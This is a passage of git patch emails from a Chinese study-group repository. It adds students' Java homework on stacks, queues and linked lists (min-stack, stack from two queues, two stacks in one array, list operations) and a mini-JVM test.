-    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
-    	String methodName = pool.getUTF8String(m.getNameIndex());
-		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());
-		String code = m.getCodeAttr().getCode();
-		Assert.assertEquals(expectedName, methodName);
-		Assert.assertEquals(expectedDesc, methodDesc);
-		Assert.assertEquals(expectedCode, code);
+    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd) {
+
+        String acctual = cmd.getOffset() + ": " + cmd.getReadableCodeText();
+
+        if (cmd instanceof OneOperandCmd) {
+            if (cmd instanceof BiPushCmd) {
+                acctual += " " + ((OneOperandCmd) cmd).getOperand();
+            } else {
+                acctual += " #" + ((OneOperandCmd) cmd).getOperand();
+            }
+        }
+        if (cmd instanceof TwoOperandCmd) {
+            acctual += " #" + ((TwoOperandCmd) cmd).getIndex();
+        }
+        Assert.assertEquals(expected, acctual);
     }
-   
 
 }
diff --git a/group11/252308879/mini-jvm/src/test/java/com/pan/jvm/MiniJVMTest.java b/group11/252308879/mini-jvm/src/test/java/com/pan/jvm/MiniJVMTest.java
new file mode 100644
index 0000000000..b403aa0e56
--- /dev/null
+++ b/group11/252308879/mini-jvm/src/test/java/com/pan/jvm/MiniJVMTest.java
@@ -0,0 +1,33 @@
+package com.pan.jvm;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.pan.jvm.engine.MiniJVM;
+
+public class MiniJVMTest {
+
+
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/pan/jvm/EmployeeV1";
+
+	static String PATH = EmployeeV1.class.getClassLoader().getResource("").getPath()
+			.replace("test-classes", "classes");
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testMain() throws Exception{
+		String[] classPaths = {PATH};
+		MiniJVM jvm = new MiniJVM();
+		jvm.run(classPaths, "com.pan.jvm.EmployeeV1");
+		
+	}
+
+}

From a72a8a6063d87c509c41cab5267302d8629f14dd Mon Sep 17 00:00:00 2001
From: Haochen <haochen_233333@163.com>
Date: Sun, 7 May 2017 19:23:41 +0800
Subject: [PATCH 220/262] finish Josephus question

---
 .../java/algorithm/stack/QuickMinStack.java   |  48 ++
 .../algorithm/stack/StackWithTwoQueues.java   |  21 +
 .../algorithm/stack/TwoStackInOneArray.java   | 114 ++++
 .../java/datastructure/basic/ArrayList.java   |  17 +-
 .../java/datastructure/basic/LinkedList.java  | 573 +++++++++---------
 .../main/java/datastructure/basic/List.java   |  21 +-
 .../main/java/datastructure/basic/Queue.java  |   2 +-
 .../main/java/datastructure/basic/Stack.java  |   2 +-
 .../java/algorithm/queue/JosephusTest.java    |   0
 9 files changed, 513 insertions(+), 285 deletions(-)
 create mode 100644 group01/895457260/code/src/main/java/algorithm/stack/QuickMinStack.java
 create mode 100644 group01/895457260/code/src/main/java/algorithm/stack/StackWithTwoQueues.java
 create mode 100644 group01/895457260/code/src/main/java/algorithm/stack/TwoStackInOneArray.java
 rename group01/895457260/code/src/{main => test}/java/algorithm/queue/JosephusTest.java (100%)

diff --git a/group01/895457260/code/src/main/java/algorithm/stack/QuickMinStack.java b/group01/895457260/code/src/main/java/algorithm/stack/QuickMinStack.java
new file mode 100644
index 0000000000..2340f36c7f
--- /dev/null
+++ b/group01/895457260/code/src/main/java/algorithm/stack/QuickMinStack.java
@@ -0,0 +1,48 @@
+package algorithm.stack;
+
+import datastructure.basic.Iterator;
+import datastructure.basic.LinkedList;
+
+import java.util.EmptyStackException;
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ *
+ * @author liuxin
+ */
+public class QuickMinStack {
+    private LinkedList elements = new LinkedList();
+    private LinkedList sorted = new LinkedList();
+
+    public void push(int data) {
+        elements.addFirst(data);
+        insert(sorted, data);
+    }
+
+    private void insert(LinkedList sorted, int data) {
+        Iterator iterator = sorted.iterator();
+
+        int insertPos = 0;
+        while (iterator.hasNext()) {
+            if ((int) iterator.next() >= data) {
+                break;
+            }
+            insertPos++;
+        }
+        sorted.add(insertPos, data);
+    }
+
+    public int pop() {
+        if (elements.isEmpty()) {
+            throw new EmptyStackException();
+        }
+        int peek = (int) elements.removeFirst();
+        sorted.remove(sorted.indexOf(peek));
+        return peek;
+    }
+
+    public int findMin() {
+        return (int) sorted.get(0);
+    }
+}
diff --git a/group01/895457260/code/src/main/java/algorithm/stack/StackWithTwoQueues.java b/group01/895457260/code/src/main/java/algorithm/stack/StackWithTwoQueues.java
new file mode 100644
index 0000000000..a069f3c87f
--- /dev/null
+++ b/group01/895457260/code/src/main/java/algorithm/stack/StackWithTwoQueues.java
@@ -0,0 +1,21 @@
+package algorithm.stack;
+
+
+import datastructure.basic.Queue;
+
+public class StackWithTwoQueues {
+
+    private Queue queue1 = new Queue();
+    private Queue queue2 = new Queue();
+
+    public void push(int data) {
+        queue1.enQueue(data);
+    }
+
+    public int pop() {
+        for (int i = 0; i < queue1.size() - 1; ++i) {
+            queue1.enQueue(queue1.deQueue());
+        }
+        return (int) queue1.deQueue();
+    }
+}
diff --git a/group01/895457260/code/src/main/java/algorithm/stack/TwoStackInOneArray.java b/group01/895457260/code/src/main/java/algorithm/stack/TwoStackInOneArray.java
new file mode 100644
index 0000000000..099d2b424d
--- /dev/null
+++ b/group01/895457260/code/src/main/java/algorithm/stack/TwoStackInOneArray.java
@@ -0,0 +1,114 @@
+package algorithm.stack;
+
+import java.util.Arrays;
+import java.util.EmptyStackException;
+
+/**
+ * 用一个数组实现两个栈
+ * 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
+ *
+ * @author liuxin
+ */
+public class TwoStackInOneArray {
+    private Object[] data = new Object[10];
+
+    private int top1 = 0;
+    private int top2 = data.length - 1;
+
+    /**
+     * 向第一个栈中压入元素
+     *
+     * @param o
+     */
+    public void push1(Object o) {
+        ensureCapacity();
+        data[top1++] = o;
+    }
+
+    /**
+     * 从第一个栈中弹出元素
+     *
+     * @return
+     */
+    public Object pop1() {
+        if (top1 <= 0) {
+            throw new EmptyStackException();
+        }
+        return data[--top1];
+    }
+
+    /**
+     * 获取第一个栈的栈顶元素
+     *
+     * @return
+     */
+    public Object peek1() {
+        if (top1 <= 0) {
+            throw new EmptyStackException();
+        }
+        return data[top1 - 1];
+    }
+
+    public int size1() {
+        return top1 - 1;
+    }
+
+    /*
+     * 向第二个栈压入元素
+     */
+    public void push2(Object o) {
+        ensureCapacity();
+        data[top2--] = o;
+    }
+
+    /**
+     * 从第二个栈弹出元素
+     *
+     * @return
+     */
+    public Object pop2() {
+        if (top2 >= data.length - 1) {
+            throw new EmptyStackException();
+        }
+        return data[++top2];
+    }
+
+    /**
+     * 获取第二个栈的栈顶元素
+     *
+     * @return
+     */
+    public Object peek2() {
+        if (top2 >= data.length - 1) {
+            throw new EmptyStackException();
+        }
+        return data[top2 + 1];
+    }
+
+    public int size2() {
+        return data.length - top2 - 1;
+    }
+
+    private void ensureCapacity() {
+        if (top1 > top2) {
+            int nextCapacity = nextCapacity(data.length);
+            Object[] newArray = new Object[nextCapacity];
+
+            System.arraycopy(data, 0, newArray, 0, size1());
+
+            int size2 = size2();
+            int srcPos = data.length - size2;
+            int destPos = nextCapacity - size2;
+            System.arraycopy(data, srcPos, newArray, destPos, size2);
+            top2 = destPos - 1;
+
+            Arrays.fill(data, null);
+            data = newArray;
+        }
+    }
+
+    private int nextCapacity(int currentCapacity) {
+        return currentCapacity * 2;
+    }
+
+}
diff --git a/group01/895457260/code/src/main/java/datastructure/basic/ArrayList.java b/group01/895457260/code/src/main/java/datastructure/basic/ArrayList.java
index 82c6ac6b1c..badc19af2d 100644
--- a/group01/895457260/code/src/main/java/datastructure/basic/ArrayList.java
+++ b/group01/895457260/code/src/main/java/datastructure/basic/ArrayList.java
@@ -40,10 +40,25 @@ public Object remove(int index) {
 		return removed;
 	}
 
-    public int size() {
+	@Override
+	public int indexOf(Object o) {
+	    for (int i = 0; i < size(); ++i) {
+			if (elementData[i] == null ? o == null : elementData[i].equals(o)) {
+				return i;
+			}
+		}
+		return -1;
+	}
+
+	public int size() {
 		return size;
 	}
 
+	@Override
+	public boolean isEmpty() {
+		return size() == 0;
+	}
+
 	public Iterator iterator() {
 		return new Iterator() {
 		    int index = -1;
diff --git a/group01/895457260/code/src/main/java/datastructure/basic/LinkedList.java b/group01/895457260/code/src/main/java/datastructure/basic/LinkedList.java
index 5dfa11fcb4..6510bd9d38 100644
--- a/group01/895457260/code/src/main/java/datastructure/basic/LinkedList.java
+++ b/group01/895457260/code/src/main/java/datastructure/basic/LinkedList.java
@@ -5,107 +5,124 @@
 import java.util.Objects;
 
 public class LinkedList implements List {
-	
-	private Node head;
-	private int size;
 
-	public LinkedList() {
-	    head = new Node();
+    private Node head;
+    private int size;
+
+    public LinkedList() {
+        head = new Node();
     }
 
     @Override
-	public void add(Object o) {
+    public void add(Object o) {
         addLast(o);
-	}
-
-	@Override
-	public void add(int index , Object o) {
-	    Node pre = findNode(index - 1);
-	    Node node = new Node();
-	    node.data = o;
-	    addNode(node, pre);
-	}
-
-	@Override
-	public Object get(int index) {
-	    checkIndex(index);
-		return findNode(index).data;
-	}
-
-	@Override
-	public Object remove(int index) {
-	    checkIndex(index);
-	    Node pre = findNode(index - 1);
-	    Node removed = pre.next;
-	    removeNode(removed, pre);
-		return removed.data;
-	}
-
-	@Override
-	public int size() {
-		return size;
-	}
-	
-	public void addFirst(Object o) {
-		Node node = new Node();
-		node.data = o;
-		addNode(node, head);
-	}
-
-	public void addLast(Object o) {
+    }
+
+    @Override
+    public void add(int index, Object o) {
+        Node pre = findNode(index - 1);
+        Node node = new Node();
+        node.data = o;
+        addNode(node, pre);
+    }
+
+    @Override
+    public Object get(int index) {
+        checkIndex(index);
+        return findNode(index).data;
+    }
+
+    @Override
+    public Object remove(int index) {
+        checkIndex(index);
+        Node pre = findNode(index - 1);
+        Node removed = pre.next;
+        removeNode(removed, pre);
+        return removed.data;
+    }
+
+    @Override
+    public int indexOf(Object o) {
+        int i = 0;
+        for (Node node = head.next; node != null; node = node.next, ++i) {
+            if (node.data == null ? o == null : node.data.equals(o)) {
+                return i;
+            }
+        }
+        return -1;
+    }
+
+    @Override
+    public int size() {
+        return size;
+    }
+
+    @Override
+    public boolean isEmpty() {
+        return size() == 0;
+    }
+
+    public void addFirst(Object o) {
+        Node node = new Node();
+        node.data = o;
+        addNode(node, head);
+    }
+
+    public void addLast(Object o) {
         Node node = new Node();
         node.data = o;
         Node pre = findNode(size() - 1);
         addNode(node, pre);
-	}
-
-	public Object removeFirst() {
-		if (size() == 0) {
-			throw new EmptyListException();
-		}
-	    Node removed = head.next;
-		removeNode(head.next, head);
-		return removed.data;
-	}
-
-	public Object removeLast() {
-		if (size() == 0) {
-			throw new EmptyListException();
-		}
-	    return remove(size() - 1);
-	}
-
-	@Override
-	public Iterator iterator() {
-		return new Iterator() {
-			Node node = head;
-			@Override
-			public boolean hasNext() {
-				return node.next != null;
-			}
-
-			@Override
-			public Object next() {
-				node = node.next;
-				return node.data;
-			}
-		};
-	}
-
-	private static class Node{
-		Object data;
-		Node next;
-	}
-
-	private Node findNode(int index) {
-	    if (index == -1) {
-	        return head;
+    }
+
+    public Object removeFirst() {
+        if (size() == 0) {
+            throw new EmptyListException();
+        }
+        Node removed = head.next;
+        removeNode(head.next, head);
+        return removed.data;
+    }
+
+    public Object removeLast() {
+        if (size() == 0) {
+            throw new EmptyListException();
+        }
+        return remove(size() - 1);
+    }
+
+    @Override
+    public Iterator iterator() {
+        return new Iterator() {
+            Node node = head;
+
+            @Override
+            public boolean hasNext() {
+                return node.next != null;
+            }
+
+            @Override
+            public Object next() {
+                node = node.next;
+                return node.data;
+            }
+        };
+    }
+
+    private static class Node {
+        Object data;
+        Node next;
+    }
+
+    private Node findNode(int index) {
+        if (index == -1) {
+            return head;
         } else {
-	        checkIndex(index);
+            checkIndex(index);
         }
         Node node = head.next;
         for (int i = 0; i < index; ++i) {
-	        node = node.next;
+            node = node.next;
         }
         return node;
     }
@@ -121,197 +138,201 @@ private String indexOutOfBoundMessage(int index) {
     }
 
     private void addNode(Node node, Node pre) {
-	    node.next = pre.next;
-	    pre.next = node;
-	    size++;
+        node.next = pre.next;
+        pre.next = node;
+        size++;
     }
 
     private void removeNode(Node node, Node pre) {
-	    pre.next = node.next;
-	    node.next = null;
-	    size--;
+        pre.next = node.next;
+        node.next = null;
+        size--;
+    }
+
+    //清空整条链，返回链中结点数量
+    private int clearLink(Node start) {
+        int count = 0;
+        while (start != null) {
+            Node node = start;
+            start = start.next;
+            node.data = null;
+            node.next = null;
+            count++;
+        }
+        return count;
+    }
+
+    /**
+     * 把该链表逆置
+     * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+     */
+    public void reverse() {
+        Stack stack = new Stack();
+        for (Node node = head.next; node != null; node = node.next) {
+            stack.push(node);
+        }
+        head.next = (Node) stack.peek();
+        while (stack.size() > 1) {
+            Node top = (Node) stack.pop();
+            top.next = (Node) stack.peek();
+        }
+        ((Node) stack.peek()).next = null;
     }
 
-	//清空整条链，返回链中结点数量
-	private int clearLink(Node start) {
-		int count = 0;
-		while (start != null) {
-			Node node = start;
-			start = start.next;
-			node.data = null;
-			node.next = null;
-			count++;
-		}
-		return count;
-	}
-
-	/**
-	 * 把该链表逆置
-	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
-	 */
-	public void reverse(){
-		Stack stack = new Stack();
-		for (Node node = head.next; node != null; node = node.next) {
-			stack.push(node);
-		}
-		head.next = (Node) stack.peek();
-		while (stack.size() > 1) {
-			Node top = (Node) stack.pop();
-			top.next = (Node) stack.peek();
-		}
-		((Node) stack.peek()).next = null;
-	}
-
-	/**
-	 * 删除一个单链表的前半部分
-	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-
-	 */
-	public void removeFirstHalf(){
-		int half = size() / 2;
-		if (half > 1) {
-			Node first = head.next;
-
-			Node preHalf = findNode(half - 1);
-			head.next = preHalf.next;
-			preHalf.next = null;
-			size -= clearLink(first);
-		}
-	}
-
-	/**
-	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-	 * @param i
-	 * @param length
-	 */
-	public void remove(int i, int length) {
-		if (length <= 0) {
-			return;
-		}
-		Node preI = findNode(i - 1);
-		Node removeTo = findNode(i + length - 1);
-		Node removeFrom = preI.next;
-		preI.next = removeTo.next;
-		removeTo.next = null;
-		size -= clearLink(removeFrom);
-	}
-	/**
-	 * 假定当前链表和list均包含已升序排列的整数
-	 * 从当前链表中取出那些list所指定的元素
-	 * 例如当前链表 = 11->101->201->301->401->501->601->701
-	 * listB = 1->3->4->6
-	 * 返回的结果应该是[101,301,401,601]
-	 * @param list
-	 */
-	public Object[] getElements(LinkedList list){
-		Object[] result = new Object[list.size()];
-		int count = 0;
-
-		Node nodeI = head.next;
-		Node nodeJ = list.head.next;
-		for (int i = 0; nodeI != null && nodeJ != null; ++i) {
-			int compare = i - (int) nodeJ.data;
-			if (compare == 0) {
-				result[count] = nodeI.data;
-				count++;
-				nodeI = nodeI.next;
-				nodeJ = nodeJ.next;
-			} else if (compare < 0) {
-				nodeI = nodeI.next;
-			} else {
-				nodeJ = nodeJ.next;
-				i--;
-			}
-		}
-		Object[] trueResult = new Object[count];
-		System.arraycopy(result, 0, trueResult, 0, count);
-		return trueResult;
-	}
-
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 从当前链表中中删除在list中出现的元素
-
-	 * @param list
-	 */
-
-	public void subtract(LinkedList list){
-		Node pre = head;
-		Node node = list.head.next;
-		while (pre.next != null && node != null) {
-			if ((int) pre.next.data < (int) node.data) {
-				pre = pre.next;
-			} else if ((int) pre.next.data > (int) node.data) {
-				node = node.next;
-			} else {
-				removeNode(pre.next, pre);
-			}
-		}
-	}
-
-	/**
-	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-	 */
-	public void removeDuplicateValues(){
-		Node node = head;
-		while (node.next != null) {
-			if (Objects.equals(node.data, node.next.data)) {
-				removeNode(node.next, node);
-			} else {
-				node = node.next;
-			}
-		}
-	}
-
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-	 * @param min
-	 * @param max
-	 */
-	public void removeRange(int min, int max){
-		Node node = head;
-		while (node.next != null) {
-			int value = (int) node.next.data;
-			if (value <= min) { // 还未进入范围
-				node = node.next;
-			} else if (value >= max) { // 超出范围，停止遍历
-				break;
-			} else { // 在范围内，删除之
-				removeNode(node.next, node);
-			}
-		}
-	}
-
-	/**
-	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-	 * @param list
-	 */
-	public LinkedList intersection(LinkedList list){
-		LinkedList result = new LinkedList();
-		Node inThis = head.next;
-		Node node = list.head.next;
-		int[] temp = new int[Math.min(size(), list.size())];
-		int count = 0;
-		while (inThis != null && node != null) {
-			int compare = (int) inThis.data - (int) node.data;
-			if (compare < 0) {
-				inThis = inThis.next;
-			} else if (compare > 0) {
-				node = node.next;
-			} else {
-				temp[count] = (int) node.data;
-				count++;
-				inThis = inThis.next;
-				node = node.next;
-			}
-		}
-		for (int i = count - 1; i >= 0; --i) {
-			result.addFirst(temp[i]);
-		}
-		return result;
-	}
+    /**
+     * 删除一个单链表的前半部分
+     * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+     * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+     */
+    public void removeFirstHalf() {
+        int half = size() / 2;
+        if (half > 1) {
+            Node first = head.next;
+
+            Node preHalf = findNode(half - 1);
+            head.next = preHalf.next;
+            preHalf.next = null;
+            size -= clearLink(first);
+        }
+    }
+
+    /**
+     * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+     *
+     * @param i
+     * @param length
+     */
+    public void remove(int i, int length) {
+        if (length <= 0) {
+            return;
+        }
+        Node preI = findNode(i - 1);
+        Node removeTo = findNode(i + length - 1);
+        Node removeFrom = preI.next;
+        preI.next = removeTo.next;
+        removeTo.next = null;
+        size -= clearLink(removeFrom);
+    }
+
+    /**
+     * 假定当前链表和list均包含已升序排列的整数
+     * 从当前链表中取出那些list所指定的元素
+     * 例如当前链表 = 11->101->201->301->401->501->601->701
+     * listB = 1->3->4->6
+     * 返回的结果应该是[101,301,401,601]
+     *
+     * @param list
+     */
+    public Object[] getElements(LinkedList list) {
+        Object[] result = new Object[list.size()];
+        int count = 0;
+
+        Node nodeI = head.next;
+        Node nodeJ = list.head.next;
+        for (int i = 0; nodeI != null && nodeJ != null; ++i) {
+            int compare = i - (int) nodeJ.data;
+            if (compare == 0) {
+                result[count] = nodeI.data;
+                count++;
+                nodeI = nodeI.next;
+                nodeJ = nodeJ.next;
+            } else if (compare < 0) {
+                nodeI = nodeI.next;
+            } else {
+                nodeJ = nodeJ.next;
+                i--;
+            }
+        }
+        Object[] trueResult = new Object[count];
+        System.arraycopy(result, 0, trueResult, 0, count);
+        return trueResult;
+    }
+
+    /**
+     * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+     * 从当前链表中中删除在list中出现的元素
+     *
+     * @param list
+     */
+
+    public void subtract(LinkedList list) {
+        Node pre = head;
+        Node node = list.head.next;
+        while (pre.next != null && node != null) {
+            if ((int) pre.next.data < (int) node.data) {
+                pre = pre.next;
+            } else if ((int) pre.next.data > (int) node.data) {
+                node = node.next;
+            } else {
+                removeNode(pre.next, pre);
+            }
+        }
+    }
+
+    /**
+     * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+     * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+     */
+    public void removeDuplicateValues() {
+        Node node = head;
+        while (node.next != null) {
+            if (Objects.equals(node.data, node.next.data)) {
+                removeNode(node.next, node);
+            } else {
+                node = node.next;
+            }
+        }
+    }
+
+    /**
+     * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+     * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+     *
+     * @param min
+     * @param max
+     */
+    public void removeRange(int min, int max) {
+        Node node = head;
+        while (node.next != null) {
+            int value = (int) node.next.data;
+            if (value <= min) { // 还未进入范围
+                node = node.next;
+            } else if (value >= max) { // 超出范围，停止遍历
+                break;
+            } else { // 在范围内，删除之
+                removeNode(node.next, node);
+            }
+        }
+    }
+
+    /**
+     * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+     * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+     *
+     * @param list
+     */
+    public LinkedList intersection(LinkedList list) {
+        LinkedList result = new LinkedList();
+        Node inThis = head.next;
+        Node node = list.head.next;
+        int[] temp = new int[Math.min(size(), list.size())];
+        int count = 0;
+        while (inThis != null && node != null) {
+            int compare = (int) inThis.data - (int) node.data;
+            if (compare < 0) {
+                inThis = inThis.next;
+            } else if (compare > 0) {
+                node = node.next;
+            } else {
+                temp[count] = (int) node.data;
+                count++;
+                inThis = inThis.next;
+                node = node.next;
+            }
+        }
+        for (int i = count - 1; i >= 0; --i) {
+            result.addFirst(temp[i]);
+        }
+        return result;
+    }
 }
diff --git a/group01/895457260/code/src/main/java/datastructure/basic/List.java b/group01/895457260/code/src/main/java/datastructure/basic/List.java
index 2f085701c5..a586c93982 100644
--- a/group01/895457260/code/src/main/java/datastructure/basic/List.java
+++ b/group01/895457260/code/src/main/java/datastructure/basic/List.java
@@ -1,10 +1,19 @@
 package datastructure.basic;
 
 public interface List {
-	void add(Object o);
-	void add(int index, Object o);
-	Object get(int index);
-	Object remove(int index);
-	int size();
-	Iterator iterator();
+    void add(Object o);
+
+    void add(int index, Object o);
+
+    Object get(int index);
+
+    Object remove(int index);
+
+    int indexOf(Object o);
+
+    int size();
+
+    boolean isEmpty();
+
+    Iterator iterator();
 }
diff --git a/group01/895457260/code/src/main/java/datastructure/basic/Queue.java b/group01/895457260/code/src/main/java/datastructure/basic/Queue.java
index 247f2cf141..c46f47461f 100644
--- a/group01/895457260/code/src/main/java/datastructure/basic/Queue.java
+++ b/group01/895457260/code/src/main/java/datastructure/basic/Queue.java
@@ -17,7 +17,7 @@ public Object deQueue() {
 	}
 
     public boolean isEmpty() {
-		return list.size() == 0;
+		return list.isEmpty();
 	}
 
 	public int size() {
diff --git a/group01/895457260/code/src/main/java/datastructure/basic/Stack.java b/group01/895457260/code/src/main/java/datastructure/basic/Stack.java
index eeb9c7afba..985d6bbf42 100644
--- a/group01/895457260/code/src/main/java/datastructure/basic/Stack.java
+++ b/group01/895457260/code/src/main/java/datastructure/basic/Stack.java
@@ -23,7 +23,7 @@ public Object peek() {
 	}
 
 	public boolean isEmpty() {
-		return size() == 0;
+		return elementData.isEmpty();
 	}
 
 	public int size() {
diff --git a/group01/895457260/code/src/main/java/algorithm/queue/JosephusTest.java b/group01/895457260/code/src/test/java/algorithm/queue/JosephusTest.java
similarity index 100%
rename from group01/895457260/code/src/main/java/algorithm/queue/JosephusTest.java
rename to group01/895457260/code/src/test/java/algorithm/queue/JosephusTest.java

From 3b0c6685fcddce2d8124d0255797f200df7eccea Mon Sep 17 00:00:00 2001
From: HuiZhou-Xmu <1814014897@qq.com>
Date: Sun, 7 May 2017 19:26:22 +0800
Subject: [PATCH 221/262] =?UTF-8?q?=E7=AC=AC=E4=B9=9D=E5=91=A8=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../src/week09/stack/QuickMinStack.java       |  47 ++++++++
 .../src/week09/stack/StackWithTwoQueues.java  |  36 +++++++
 .../src/week09/stack/TwoStackInOneArray.java  | 100 ++++++++++++++++++
 .../week09/stack/test/QuickMinStackTest.java  |  63 +++++++++++
 .../stack/test/StackWithTwoQueuesTest.java    |  46 ++++++++
 .../stack/test/TwoStackInOneArrayTest.java    |  77 ++++++++++++++
 6 files changed, 369 insertions(+)
 create mode 100644 group01/1814014897/zhouhui/src/week09/stack/QuickMinStack.java
 create mode 100644 group01/1814014897/zhouhui/src/week09/stack/StackWithTwoQueues.java
 create mode 100644 group01/1814014897/zhouhui/src/week09/stack/TwoStackInOneArray.java
 create mode 100644 group01/1814014897/zhouhui/src/week09/stack/test/QuickMinStackTest.java
 create mode 100644 group01/1814014897/zhouhui/src/week09/stack/test/StackWithTwoQueuesTest.java
 create mode 100644 group01/1814014897/zhouhui/src/week09/stack/test/TwoStackInOneArrayTest.java

diff --git a/group01/1814014897/zhouhui/src/week09/stack/QuickMinStack.java b/group01/1814014897/zhouhui/src/week09/stack/QuickMinStack.java
new file mode 100644
index 0000000000..35ae39e4aa
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week09/stack/QuickMinStack.java
@@ -0,0 +1,47 @@
+package week09.stack;
+
+import java.util.Stack;
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
+ * findMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ * 
+ * @author Hui Zhou
+ *
+ */
+public class QuickMinStack {
+	Stack<Integer> stack = new Stack<Integer>();
+	Stack<Integer> minStack = new Stack<Integer>();
+	int min;
+
+	public void push(int data) {
+		stack.push(data);
+
+		if (minStack.isEmpty()) {
+			minStack.push(data);
+			min = minStack.peek();
+		} else {
+			if (data <= min) {
+				min = data;
+				minStack.push(data);
+			}
+		}
+	}
+
+	public int pop() {
+		if (stack.isEmpty()) {
+			throw new RuntimeException("the stack is empty.");
+		}
+		if (stack.peek() == minStack.peek()) {
+			minStack.pop();
+		}
+		return stack.pop();
+	}
+
+	public int findMin() {
+		if (stack.isEmpty()) {
+			throw new RuntimeException("the stack is empty.");
+		}
+		return minStack.pop();
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week09/stack/StackWithTwoQueues.java b/group01/1814014897/zhouhui/src/week09/stack/StackWithTwoQueues.java
new file mode 100644
index 0000000000..e1a8a2d3de
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week09/stack/StackWithTwoQueues.java
@@ -0,0 +1,36 @@
+package week09.stack;
+
+import week08.queue.Queue;
+
+public class StackWithTwoQueues<T> {
+	private Queue<T> queue1 = new Queue<T>();
+	private Queue<T> queue2 = new Queue<T>();
+
+	public boolean isEmpty() {
+		return queue1.isEmpty();
+	}
+
+	public int size() {
+		return queue1.size();
+	}
+
+	public void push(T data) {
+		queue1.enQueue(data);
+	}
+
+	public T pop() {
+		if (queue1.isEmpty()) {
+			throw new RuntimeException("the stack is empty.");
+		}
+		int queue1Size = queue1.size();
+		for (int i = 0; i < queue1Size - 1; i++) {
+			queue2.enQueue(queue1.deQueue());
+		}
+		T popValue = queue1.deQueue();
+		while (!queue2.isEmpty()) {
+			queue1.enQueue(queue2.deQueue());
+		}
+		return popValue;
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week09/stack/TwoStackInOneArray.java b/group01/1814014897/zhouhui/src/week09/stack/TwoStackInOneArray.java
new file mode 100644
index 0000000000..8c8fefe9c9
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week09/stack/TwoStackInOneArray.java
@@ -0,0 +1,100 @@
+package week09.stack;
+
+import java.util.Arrays;
+
+/**
+ * 用一个数组实现两个栈 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
+ * 
+ * @author Hui Zhou
+ *
+ */
+public class TwoStackInOneArray {
+	Object[] data = new Object[10];
+	int i = 0;
+	int j = data.length - 1;
+
+	/**
+	 * 向第一个栈中压入元素
+	 * 
+	 * @param o
+	 */
+	public void push1(Object o) {
+		if (i < j) {
+			data[i++] = o;
+		} else {
+			addCapacity();
+			data[i++] = o;
+		}
+	}
+
+	private void addCapacity() {
+		int oldCapacity = data.length;
+		int newCapacity = oldCapacity + (oldCapacity >> 2);
+		Object[] tempPre = Arrays.copyOfRange(data, 0, i);
+		Object[] tempPost = Arrays.copyOfRange(data, j + 1, data.length);
+		data = Arrays.copyOf(tempPre, newCapacity);
+		System.arraycopy(tempPost, 0, data, data.length - tempPost.length, tempPost.length);
+		j = data.length - tempPost.length - 1;
+	}
+
+	/**
+	 * 从第一个栈中弹出元素
+	 * 
+	 * @return
+	 */
+	public Object pop1() {
+		if (i <= 0) {
+			throw new RuntimeException("stack1 is empty.");
+		}
+		Object pop1Value = data[--i];
+		data[i] = null;
+		return pop1Value;
+	}
+
+	/**
+	 * 获取第一个栈的栈顶元素
+	 * 
+	 * @return
+	 */
+
+	public Object peek1() {
+		return data[i - 1];
+	}
+
+	/*
+	 * 向第二个栈压入元素
+	 */
+	public void push2(Object o) {
+		if (j > i) {
+			data[j--] = o;
+		} else {
+			addCapacity();
+			data[j--] = o;
+		}
+	}
+
+	/**
+	 * 从第二个栈弹出元素
+	 * 
+	 * @return
+	 */
+	public Object pop2() {
+		if (j >= data.length - 1) {
+			throw new RuntimeException("stack2 is empty.");
+		}
+		Object pop2Value = data[++j];
+		data[j] = null;
+		return pop2Value;
+	}
+
+	/**
